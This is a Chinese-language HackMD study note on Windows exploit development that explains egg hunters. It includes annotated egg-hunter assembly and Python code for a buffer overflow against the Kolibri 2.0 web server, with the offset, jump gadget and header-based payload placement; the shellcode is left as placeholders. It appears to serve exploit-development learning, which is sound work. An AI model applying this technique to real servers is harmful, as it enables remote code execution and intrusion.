Try   HackMD

Windows Exploit Development - Egg Hunters

fuzzy security 學習第四部分,主要是介紹另外一種攻擊技巧 egg hunter

Egg hunter

Concept

egg hunter 簡單講就是一段用來找 shellcode 的 shellcode ,出現的原因是在 windows 下寫 shellcode 要複雜於 linux ,動輒數百個字元,有些時候無法一次性把 shellcode 跟其他 payload 擺在一起,所以另外找個地方放 shellcode

前面的範例多半是 shellcode 放在 esp 指到的的空間,簡單的 jmp esp 或 pop pop ret 就能找到 shellcode ,若 shellcode 放在其他地方或根本不同 page 就沒轍。

egg hunter 以一個 page 為大小的單位逐一對每個 page 進行一個 byte 一個 byte 的搜尋,找到 shellcode 就立刻 jmp 過去

條件:

  1. eip 後的內容也出現在其他記憶體位置
  2. shellcode 存在於不同 page ,同個 page 用 jmp 即可

Generate Egg hunter

  • 自己自幹
  • mona 幫你:
    !mona egg -t b33f

以下簡單講一個 egg hunter

loop_inc_page: or dx, 0x0fff // Add PAGE_SIZE-1 to edx loop_inc_one: inc edx // Increment our pointer by one

這邊將 edx 以 0x1000 byte 來成長

loop_check: push edx // Save edx push 0x2 // Push NtAccessCheckAndAuditAlarm pop eax // Pop into eax int 0x2e // Perform the syscall cmp al, 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ? pop edx // Restore edx loop_check_8_valid: je loop_inc_page // Yes, invalid ptr, go to the next page

呼叫 NtAccessCheckAndAuditAlarm 來確認 edx 的地址是否為合法地址,不是則再加 0x1000

is_egg: mov eax, 0x66333362 // Throw our egg in eax mov edi, edx // Set edi to the pointer we validated scasd // Compare the dword in edi to eax jnz loop_inc_one // No match? Increment the pointer by one

以一次增加一個 byte 來比對是否為 b33f

scasd // Compare the dword in edi to eax again (which is now edx + 4) jnz loop_inc_one // No match? Increment the pointer by one

比對成功一次,再比對一次,增加可信度

matched: jmp edi // Found the egg. Jump 8 bytes past it into our code.

確認無誤,透過 edi 跳往 shellcode

可以說 egg hunter 是種無腦硬爆法

環境

跟上一篇一樣,目標換成 Kolibri 2.0

流程

整體 payload 結構會長的象:

  1. 打開 server 並用 immunity attach
  2. 撰寫 cyclic 送出 http request:
cyclic = '......' # lazy to copy here
request = (
    'HEAD /' + cyclic + ' HTTP/1.1\r\n'
    'Host: 192.168.1.115:6666\r\n'
    'User-Agent: .......\r\n'
    'Keep-Alive: 115\r\n'
    'Connection: keep-alive\r\n\r\n'
)
  1. immunity 中透過 !mona findmsp 找到 offset: 515
  2. 找到能跳轉到 stack 上 shellcode 的 gadget: !mona jmp -r esp
  3. 沒意外會跳到 eip 之後一點,但主要控制區域在前面,所以第一段 shellcode 要跳回前面的 egg hunter ,可以用 jmp -0x60:
jmp 0xffffffc4 ;/xeb/xc4
  1. 在原先的 request 中的 User-Agent 中放入真正的 shellcode:
padding = 'A'*478
egg_hunter = '....' # too lazy to write whole egg hunter
jmp_egg = '\xeb\xc4'
stage2 = 'b33fb33f' # tag, egg hunter find shellcode by compare with these 8 bytes
stage2 += '[shellcode]' # too lazy to write shellcode
payload = padding + egg_hunter + 'A'*5 + jmp_egg
request = (
    'HEAD /' + payload + ' HTTP/1.1\r\n'
    'Host: 192.168.1.115:6666\r\n'
    'User-Agent: ' + stage2 + '\r\n'
    'Keep-Alive: 115\r\n'
    'Connection: keep-alive\r\n\r\n'
)
  1. That is ! 執行 egg hunter 時會掃遍每個 page 每個 byte 直到發現兩次 b33f ,之後透過 jmp edi 跳到 shellcode 上